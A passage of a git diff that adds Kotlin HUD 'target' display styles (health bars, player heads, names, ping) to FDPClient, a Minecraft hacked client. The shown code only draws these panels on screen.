b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/ModernTH.kt @@ -0,0 +1,95 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.hurtPercent +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils.drawHead +import net.ccbluex.liquidbounce.utils.render.Stencil +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.roundToInt + +class ModernTH(inst: Targets) : TargetStyle("Modern", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + + val font = Fonts.font35 + + + + updateAnim(entity.health) + + val additionalWidth = ((font.getStringWidth(entity.name) * 1.1).toInt().coerceAtLeast(70) + font.getStringWidth("Name: ") * 1.1 + 7.0).roundToInt() + val healthBarWidth = additionalWidth - (font.getStringWidth("20") * 1.15).roundToInt() - 16 + RenderUtils.drawRoundedCornerRect(0f, 0f, 50f + additionalWidth, 50f, 7f, Color(0, 0, 0, 130).rgb) + //RenderUtils.drawShadow(2f, 2f, 48f + additionalWidth, 48f) + + // circle player avatar + val hurtPercent = entity.hurtPercent + val scale = if (hurtPercent == 0f) { 1f } else if (hurtPercent < 0.5f) { + 1 - (0.2f * hurtPercent * 2) + } else { + 0.8f + (0.2f * (hurtPercent - 0.5f) * 2) + } + val size = 35 + + //draw head + GL11.glPushMatrix() + GL11.glTranslatef(9f, 10f, 0f) + GL11.glColor4f(1f, 1 - entity.hurtPercent, 1 - entity.hurtPercent, 1f) + Stencil.write(false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.fastRoundedRect(-2F, -3F, 33F, 33F, 8F) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + Stencil.erase(true) + drawHead(entity.skin, -2, -3, 35, 35, Color(255,255,255,fadeAlpha(255)).rgb) + Stencil.dispose() + GL11.glPopMatrix() + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + GlStateManager.resetColor() + + + // draw name + GL11.glPushMatrix() + GL11.glScalef(1.1f, 1.1f, 1.1f) + font.drawString("Name: ${entity.name}", 45, 14, Color(rainbow().red, rainbow().green, rainbow().blue, rainbow().alpha).rgb) + font.drawString("Name:", 45, 14, Color.WHITE.rgb) + GL11.glPopMatrix() + + // draw health + RenderUtils.drawRoundedCornerRect(50f, 31f, 50f + healthBarWidth , 39f, 3f, Color(20, 20, 20, 255).rgb) + RenderUtils.drawRoundedCornerRect(50f, 31f, 50f + (healthBarWidth * (easingHealth / entity.maxHealth)) , 39f, 4f, Color(rainbow().red, rainbow().green, rainbow().blue, rainbow().alpha).rgb) + RenderUtils.drawRoundedCornerRect(52f, 31f, 48f + (healthBarWidth * (easingHealth / entity.maxHealth)) , 34f, 2f, Color(255, 255, 255, 30).rgb) + RenderUtils.drawRoundedCornerRect(52f, 36f, 48f + (healthBarWidth * (easingHealth / entity.maxHealth)) , 39f, 2f, Color(0, 0, 0, 30).rgb) + GL11.glPushMatrix() + GL11.glScalef(1.15f, 1.15f, 1.15f) + font.drawString(getHealth(entity).roundToInt().toString(), ((38 + additionalWidth - font.getStringWidth((getHealth(entity) * 1.15).roundToInt().toString())) / 1.15).roundToInt() , 29 - (font.FONT_HEIGHT/2), Color(rainbow().red, rainbow().green, rainbow().blue, rainbow().alpha).rgb) + GL11.glPopMatrix() + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 50F, 50F) + + val font = Fonts.font35 + + val additionalWidth = ((font.getStringWidth(entity.name) * 1.1).toInt().coerceAtLeast(70) + font.getStringWidth("Name: ") * 1.1 + 7.0).roundToInt() + + return Border(0F, 0F, 50F + additionalWidth, 50F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/Moon4TH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/Moon4TH.kt new file mode 100644 index 0000000..2caa821 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/Moon4TH.kt @@ -0,0 +1,68 @@ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.Stencil +import net.minecraft.entity.EntityLivingBase +import net.minecraft.util.EnumChatFormatting.BOLD +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.pow + +class Moon4TH(inst: Targets) : TargetStyle("Moon4",inst,true) { + override fun drawTarget(entity: EntityLivingBase) { + updateAnim(entity.health) + val mainColor = targetInstance.barColor + val percent = entity.health.toInt() + // val nameLength = (Fonts.fontTahoma.getStringWidth(entity.name)).coerceAtLeast( + val nameLength = (Fonts.fontSFUI40.getStringWidth("$BOLD${entity.name}")).coerceAtLeast( + // Fonts.fontTahoma.getStringWidth( + Fonts.fontSFUI35.getStringWidth( + "$BOLD${ + decimalFormat2.format(percent) + }" + ) + ).toFloat() + 20F + val barWidth = (entity.health / entity.maxHealth).coerceIn(0F, entity.maxHealth) * (nameLength - 2F) + RenderUtils.drawRoundedRect(-2F, -2F, 3F + nameLength + 36F, 2F + 36F, 3f,targetInstance.bgColor.rgb) + RenderUtils.drawRoundedRect(-1F, -1F, 2F + nameLength + 36F, 1F + 36F,3f, Color(0, 0, 0, 50).rgb) + Stencil.write(false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.fastRoundedRect(1f, 0.5f, 36F, 35.5F, 7F) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + Stencil.erase(true) + drawHead(entity.skin, 1, 0.5.toInt(), 35, 35, 1F - targetInstance.getFadeProgress()) + Stencil.dispose() + // Fonts.fontTahoma.drawStringWithShadow(entity.name, 2F + 36F, 2F, -1) + Fonts.fontSFUI40.drawStringWithShadow("$BOLD${entity.name}", 2F + 36F, 2F, -1) + RenderUtils.drawRoundedRect(37F, 23F, 37F + nameLength, 33f, 3f, Color(0, 0, 0, 100).rgb) + easingHealth += ((entity.health - easingHealth) / 2.0F.pow(10.0F - targetInstance.fadeSpeed.get())) * RenderUtils.deltaTime + val animateThingy = + (easingHealth.coerceIn(entity.health, entity.maxHealth) / entity.maxHealth) * (nameLength - 2F) + if (easingHealth > entity.health) + RenderUtils.drawRoundedRect(38F, 24F, 38F + animateThingy, 32f,3f, mainColor.darker().rgb) + RenderUtils.drawRoundedRect(38F, 24f, 38F + barWidth, 32f,3f, mainColor.rgb) + Fonts.fontSFUI35.drawStringWithShadow("$BOLD${decimalFormat2.format(percent)}HP", 38F, 15F, Color.WHITE.rgb) + } + + override fun getBorder(entity: EntityLivingBase?): Border { + val percent = entity?.health?.toInt() + // val nameLength = (Fonts.fontTahoma.getStringWidth(entity?.name.toString())).coerceAtLeast( + val nameLength = (Fonts.fontSFUI40.getStringWidth("$BOLD${entity?.name.toString()}")).coerceAtLeast( + // Fonts.fontTahoma.getStringWidth( + Fonts.fontSFUI35.getStringWidth( + "$BOLD${ + decimalFormat2.format(percent) + }" + ) + ).toFloat() + 18F + return Border(-1F, -2F, nameLength + 40, 38F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/MoonTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/MoonTH.kt new file mode 100644 index 0000000..b692cc2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/MoonTH.kt @@ -0,0 +1,75 @@ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.darker +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.Stencil +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class MoonTH(inst: Targets) : TargetStyle("Moon",inst,true) { + override fun drawTarget(entity: EntityLivingBase) { + updateAnim(entity.health) + val name = entity.name + val health = entity.health + val tWidth = (45F + Fonts.font48.getStringWidth(name) + .coerceAtLeast(Fonts.font72.getStringWidth(decimalFormat.format(health)))).coerceAtLeast(120F) + val playerInfo = mc.netHandler.getPlayerInfo(entity.uniqueID) + // background + RenderUtils.drawRoundedRect(0F, 0F, tWidth, 40F, 7F, targetInstance.bgColor.rgb) + GlStateManager.resetColor() + GL11.glColor4f(1F, 1F, 1F, 1F) + // head + if (playerInfo != null) { + Stencil.write(false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.fastRoundedRect(4F, 4F, 34F, 34F, 7F) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + Stencil.erase(true) + drawHead(playerInfo.locationSkin, 4, 4, 30, 30, (1F - targetInstance.getFadeProgress()).toInt().toFloat()) + Stencil.dispose() + } + + GlStateManager.resetColor() + GL11.glColor4f(1F, 1F, 1F, 1F) + + Fonts.font48.drawString(name, 40, 7, getColor(-1).rgb) + Fonts.font32.drawString("$health HP",40,20,Color.WHITE.rgb) + RenderUtils.drawRoundedRect(40F, 28F, tWidth - 4F, 34F, 3F, targetInstance.barColor.darker(0.5F).rgb) + + + Stencil.write(false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.fastRoundedRect(40F, 28F, tWidth - 4F, 34F, 3F) + GL11.glDisable(GL11.GL_BLEND) + Stencil.erase(true) + RenderUtils.customRounded( + 40F, + 28F, + 40F + (easingHealth / entity.maxHealth) * (tWidth - 4F), + 34F, + 0F, + 3F, + 3F, + 0F, + targetInstance.barColor.rgb + ) + Stencil.dispose() + } + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 120F, 40F) + val tWidth = (45F + Fonts.font48.getStringWidth(entity.name) + .coerceAtLeast(Fonts.font72.getStringWidth(decimalFormat.format(entity.health)))).coerceAtLeast(120F) + return Border(0F, 0F, tWidth, 40F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/NormalTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/NormalTH.kt new file mode 100644 index 0000000..55c686f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/NormalTH.kt @@ -0,0 +1,49 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import java.awt.Color + +class NormalTH(inst: Targets) : TargetStyle("Normal", inst, true) { + private val numberValue = BoolValue("Show Number", false).displayable { targetInstance.styleValue.equals("Normal") } + private val percentValue = BoolValue("Percent", false).displayable { targetInstance.styleValue.equals("Normal") && numberValue.get() } + override fun drawTarget(entity: EntityLivingBase) { + val fonts = Fonts.fontBold40 + val leaght = fonts.getStringWidth(entity.name) + updateAnim(entity.health) + RenderUtils.drawRoundedRect(0F, 0F, 42F + leaght, 23F, 0F, Color(32, 32, 32, fadeAlpha(255)).rgb) + RenderUtils.drawAnimatedGradient( + 0.0, 0.0, (42.0 + leaght) * (easingHealth / entity.maxHealth), 1.0, Color(100, 255, 255,255).rgb, + Color(255, 100, 255, 255).rgb + ) + if (numberValue.get()) { + GlStateManager.enableBlend() + fonts.drawStringFade((if (percentValue.get()) decimalFormat3.format((easingHealth / entity.maxHealth) * 100) + "%" else "${decimalFormat3.format(easingHealth)}❤"), (42F + leaght) * (easingHealth / entity.maxHealth), -8F, + Color(100, 255, 255,255)) + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + } + GlStateManager.enableBlend() + RenderUtils.drawHead(entity.skin, 2, 3, 18, 18, Color(255,255,255,fadeAlpha(255)).rgb) + fonts.drawString(entity.name, 28F, 7F, Color(255, 255, 255, fadeAlpha(255)).rgb) + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + } + + override fun getBorder(entity: EntityLivingBase?): Border { + val entityNameWidth = if (entity != null) Fonts.fontBold40.getStringWidth(entity.name) else 0 + return Border(0F, 0F, 42F + entityNameWidth, 23F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RavenB4TH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RavenB4TH.kt new file mode 100644 index 0000000..e929e01 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RavenB4TH.kt @@ -0,0 +1,131 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.BlendUtils +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import java.awt.Color + +class RavenB4TH(inst: Targets) : TargetStyle("RavenB4", inst, true) { + private val rm = BoolValue("Modern", true).displayable { targetInstance.styleValue.get().equals("ravenb4", true) } + override fun drawTarget(entity: EntityLivingBase) { + if (!rm.get()) { + val font = mc.fontRendererObj + val healthString = decimalFormat2.format(entity.health) + val length = font.getStringWidth(entity.displayName.formattedText) + GlStateManager.pushMatrix() + RenderUtils.drawRect(0F, 0F, 60F + length, 28F, Color(0, 0, 0, fadeAlpha(100)).rgb) + GlStateManager.enableBlend() + font.drawStringWithShadow( + "Target: " + entity.displayName.formattedText + if (entity.health < mc.thePlayer.health) " §AW§F" else " §CL§F", + 4F, + 3F, + Color(255, 255, 255, fadeAlpha(255)).rgb + ) + font.drawStringWithShadow("Health: ", 4.3f, 16F, Color(255, 255, 255, fadeAlpha(255)).rgb) + font.drawStringWithShadow( + healthString, + 42f, + 16F, + ColorUtils.reAlpha(BlendUtils.getHealthColor(entity.health, entity.maxHealth), fadeAlpha(255)).rgb + ) + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + RenderUtils.drawRect(0F, 28f, 1F, 0F, Color(0, 0, 0, fadeAlpha(255))) + RenderUtils.drawRect( + 0F, + 28f, + 1F, + (entity.maxHealth - entity.health), + ColorUtils.reAlpha(BlendUtils.getHealthColor(entity.health, entity.maxHealth), fadeAlpha(255)).rgb + ) + GlStateManager.popMatrix() + } else { + val font = Fonts.minecraftFont + val hp = decimalFormat2.format(entity.health) + val hplength = font.getStringWidth(decimalFormat2.format(entity.health)) + val length = font.getStringWidth(entity.displayName.formattedText) + GlStateManager.pushMatrix() + updateAnim(entity.health) + RenderUtils.drawRoundedGradientOutlineCorner( + 0F, + 0F, + length + hplength + 23F, + 35F, + 2F, 8F, + Color(100, 255, 255,255).rgb, + Color(255, 100, 255, 255).rgb + ) + RenderUtils.drawRoundedRect(0F, 0F, length + hplength + 23F, 35F, 4F, Color(0, 0, 0, fadeAlpha(100)).rgb) + GlStateManager.enableBlend() + font.drawStringWithShadow( + entity.displayName.formattedText, + 6F, + 8F, + Color(255, 255, 255, fadeAlpha(255)).rgb + ) + font.drawStringWithShadow( + if (entity.health > mc.thePlayer.health) "L" else "W", + length + hplength + 11.6F, + 8F, + if (entity.health > mc.thePlayer.health) Color(255, 0, 0, fadeAlpha(255)).rgb else Color( + 0, + 255, + 0, + fadeAlpha(255) + ).rgb + ) + font.drawStringWithShadow( + hp, + length + 8F, + 8F, + ColorUtils.reAlpha(BlendUtils.getHealthColor(entity.health, entity.maxHealth), fadeAlpha(255)).rgb + ) + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + RenderUtils.drawRoundedRect( + 5.0F, + 29.55F, + length + hplength + 18F, + 25F, + 2F, + Color(0, 0, 0, fadeAlpha(110)).rgb, + ) + RenderUtils.drawRoundedGradientRectCorner( + 5F, + 25F, + 8F + (entity.health / 20) * (length + hplength + 10F), + 29.5F, + 4F, + Color(100, 255, 255,255).rgb, + Color(100, 255, 255,255).rgb, + Color(255, 100, 255, 255).rgb, + Color(255, 100, 255, 255).rgb + ) + GlStateManager.popMatrix() + } + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 60F, 28F) + + val font = mc.fontRendererObj + val displayNameWidth = font.getStringWidth(entity.displayName.formattedText) + val healthBarWidth = if (rm.get()) 40F else 60F + val healthBarHeight = if (rm.get()) 35F else 28F + + return Border(0F, 0F, healthBarWidth + displayNameWidth, healthBarHeight) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RemixTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RemixTH.kt new file mode 100644 index 0000000..7d35236 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RemixTH.kt @@ -0,0 +1,149 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.gui.Gui +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.RenderHelper +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color + +class RemixTH(inst: Targets) : TargetStyle("Remix", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + updateAnim(entity.health) + + // background + RenderUtils.newDrawRect(0F, 0F, 146F, 49F, getColor(Color(25, 25, 25)).rgb) + RenderUtils.newDrawRect(1F, 1F, 145F, 48F, getColor(Color(35, 35, 35)).rgb) + + // health bar + RenderUtils.newDrawRect(4F, 40F, 142F, 45F, getColor(Color.red.darker().darker()).rgb) + RenderUtils.newDrawRect( + 4F, + 40F, + 4F + (easingHealth / entity.maxHealth).coerceIn(0F, 1F) * 138F, + 45F, + targetInstance.barColor.rgb + ) + + // head + RenderUtils.newDrawRect(4F, 4F, 38F, 38F, getColor(Color(150, 150, 150)).rgb) + RenderUtils.newDrawRect(5F, 5F, 37F, 37F, getColor(Color(0, 0, 0)).rgb) + + // armor bar + RenderUtils.newDrawRect(40F, 36F, 141.5F, 38F, getColor(Color.blue.darker()).rgb) + RenderUtils.newDrawRect( + 40F, + 36F, + 40F + (entity.totalArmorValue.toFloat() / 20F).coerceIn(0F, 1F) * 101.5F, + 38F, + getColor(Color.blue).rgb + ) + + // armor item background + RenderUtils.newDrawRect(40F, 16F, 58F, 34F, getColor(Color(25, 25, 25)).rgb) + RenderUtils.newDrawRect(41F, 17F, 57F, 33F, getColor(Color(95, 95, 95)).rgb) + + RenderUtils.newDrawRect(60F, 16F, 78F, 34F, getColor(Color(25, 25, 25)).rgb) + RenderUtils.newDrawRect(61F, 17F, 77F, 33F, getColor(Color(95, 95, 95)).rgb) + + RenderUtils.newDrawRect(80F, 16F, 98F, 34F, getColor(Color(25, 25, 25)).rgb) + RenderUtils.newDrawRect(81F, 17F, 97F, 33F, getColor(Color(95, 95, 95)).rgb) + + RenderUtils.newDrawRect(100F, 16F, 118F, 34F, getColor(Color(25, 25, 25)).rgb) + RenderUtils.newDrawRect(101F, 17F, 117F, 33F, getColor(Color(95, 95, 95)).rgb) + + // name + Fonts.minecraftFont.drawStringWithShadow(entity.name, 41F, 5F, getColor(-1).rgb) + + // ping + if (mc.netHandler.getPlayerInfo(entity.uniqueID) != null) { + // actual head + drawHead( + mc.netHandler.getPlayerInfo(entity.uniqueID).locationSkin, + 5, + 5, + 32, + 32, + (1F - targetInstance.getFadeProgress()).toInt().toFloat() + ) + + val responseTime = mc.netHandler.getPlayerInfo(entity.uniqueID).responseTime + val stringTime = "${responseTime.coerceAtLeast(0)}ms" + + val j: Int = if (responseTime < 0) + 5 + else if (responseTime < 150) + 0 + else if (responseTime < 300) + 1 + else if (responseTime < 600) + 2 + else if (responseTime < 1000) + 3 + else + 4 + + mc.textureManager.bindTexture(Gui.icons) + RenderUtils.drawTexturedModalRect(132, 18, 0, 176 + j * 8, 10, 8, 100.0F) + + GL11.glPushMatrix() + GL11.glTranslatef(142F - Fonts.minecraftFont.getStringWidth(stringTime) / 2F, 28F, 0F) + GL11.glScalef(0.5F, 0.5F, 0.5F) + Fonts.minecraftFont.drawStringWithShadow(stringTime, 0F, 0F, getColor(-1).rgb) + GL11.glPopMatrix() + } + + // armor items + GL11.glPushMatrix() + GL11.glColor4f(1f, 1f, 1f, 1f - targetInstance.getFadeProgress()) + RenderHelper.enableGUIStandardItemLighting() + + val renderItem = mc.renderItem + + var x = 41 + val y = 17 + + for (index in 3 downTo 0) { + val stack = entity.inventory[index] ?: continue + + if (stack.item == null) + continue + + renderItem.renderItemAndEffectIntoGUI(stack, x, y) + x += 20 + } + + RenderHelper.disableStandardItemLighting() + GlStateManager.enableAlpha() + GlStateManager.disableBlend() + GlStateManager.disableLighting() + GlStateManager.disableCull() + GL11.glPopMatrix() + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 146F, 49F) + + val font = Fonts.minecraftFont + val nameWidth = font.getStringWidth(entity.name) + val armorBarWidth = 141.5F + val armorItemWidth = 80F + val totalWidth = 146F + + val maxWidth = totalWidth.coerceAtLeast(nameWidth.coerceAtLeast(armorBarWidth.coerceAtLeast(armorItemWidth).toInt()).toFloat()) + + return Border(0F, 0F, maxWidth, 49F) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RiseTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RiseTH.kt new file mode 100644 index 0000000..d621c7d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/RiseTH.kt @@ -0,0 +1,94 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.impl + +import net.ccbluex.liquidbounce.ui.client.hud.element.Border +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.Targets +import net.ccbluex.liquidbounce.ui.client.hud.element.elements.targets.TargetStyle +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.extensions.hurtPercent +import net.ccbluex.liquidbounce.utils.extensions.skin +import net.ccbluex.liquidbounce.utils.render.ColorUtils.rainbow +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.Stencil +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.entity.EntityLivingBase +import org.lwjgl.opengl.GL11 +import java.awt.Color +import kotlin.math.roundToInt + +class RiseTH(inst: Targets) : TargetStyle("Rise", inst, true) { + + override fun drawTarget(entity: EntityLivingBase) { + + val font = Fonts.font35 + + + + updateAnim(entity.health) + + val additionalWidth = ((font.getStringWidth(entity.name) * 1.1).toInt().coerceAtLeast(70) + font.getStringWidth("Name: ") * 1.1 + 7.0).roundToInt() + val healthBarWidth = additionalWidth - (font.getStringWidth("20") * 1.15).roundToInt() - 16 + RenderUtils.drawRoundedCornerRect(0f, 0f, 50f + additionalWidth, 50f, 7f, Color(0, 0, 0, 130).rgb) + //RenderUtils.drawShadow(2f, 2f, 48f + additionalWidth, 48f) + + // circle player avatar + val hurtPercent = entity.hurtPercent + val scale = if (hurtPercent == 0f) { 1f } else if (hurtPercent < 0.5f) { + 1 - (0.2f * hurtPercent * 2) + } else { + 0.8f + (0.2f * (hurtPercent - 0.5f) * 2) + } + val size = 35 + + //draw head + GL11.glPushMatrix() + GL11.glTranslatef(9f, 10f, 0f) + GL11.glColor4f(1f, 1 - entity.hurtPercent, 1 - entity.hurtPercent, 1f) + Stencil.write(false) + GL11.glDisable(GL11.GL_TEXTURE_2D) + GL11.glEnable(GL11.GL_BLEND) + GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA) + RenderUtils.fastRoundedRect(-2F, -3F, 33F, 33F, 8F) + GL11.glDisable(GL11.GL_BLEND) + GL11.glEnable(GL11.GL_TEXTURE_2D) + Stencil.erase(true) + drawHead(entity.skin, -2, -3, 35, 35, Color(255,255,255,fadeAlpha(255)).rgb.toFloat()) + Stencil.dispose() + GL11.glPopMatrix() + GlStateManager.disableAlpha() + GlStateManager.disableBlend() + GlStateManager.resetColor() + + + // draw name + GL11.glPushMatrix() + GL11.glScalef(1.1f, 1.1f, 1.1f) + font.drawString("Name: ${entity.name}", 45, 14, Color(rainbow().red, rainbow().green, rainbow().blue, rainbow().alpha).rgb) + font.drawString("Name:", 45, 14, Color.WHITE.rgb) + GL11.glPopMatrix() + + // draw health + RenderUtils.drawRoundedCornerRect(50f, 31f, 50f + healthBarWidth , 39f, 3f, Color(20, 20, 20, 255).rgb) + RenderUtils.drawRoundedCornerRect(50f, 31f, 50f + (healthBarWidth * (easingHealth / entity.maxHealth)) , 39f, 4f, Color(rainbow().red, rainbow().green, rainbow().blue, rainbow().alpha).rgb) + RenderUtils.drawRoundedCornerRect(52f, 31f, 48f + (healthBarWidth * (easingHealth / entity.maxHealth)) , 34f, 2f, Color(255, 255, 255, 30).rgb) + RenderUtils.drawRoundedCornerRect(52f, 36f, 48f + (healthBarWidth * (easingHealth / entity.maxHealth)) , 39f, 2f, Color(0, 0, 0, 30).rgb) + GL11.glPushMatrix() + GL11.glScalef(1.15f, 1.15f, 1.15f) + font.drawString(getHealth(entity).roundToInt().toString(), ((38 + additionalWidth - font.getStringWidth((getHealth(entity) * 1.15).roundToInt().toString())) / 1.15).roundToInt() , 29 - (font.FONT_HEIGHT/2), Color(rainbow().red, rainbow().green, rainbow().blue, rainbow().alpha).rgb) + GL11.glPopMatrix() + } + + override fun getBorder(entity: EntityLivingBase?): Border { + entity ?: return Border(0F, 0F, 50F, 50F) + + val font = Fonts.font35 + + val additionalWidth = ((font.getStringWidth(entity.name) * 1.1).toInt().coerceAtLeast(70) + font.getStringWidth("Name: ") * 1.1 + 7.0).roundToInt() + + return Border(0F, 0F, 50F + additionalWidth, 50F) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SimpleTH.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/hud/element/elements/targets/impl/SimpleTH.kt new file mode 100644 index 0000000..e7eec07 --- /dev/null +++ 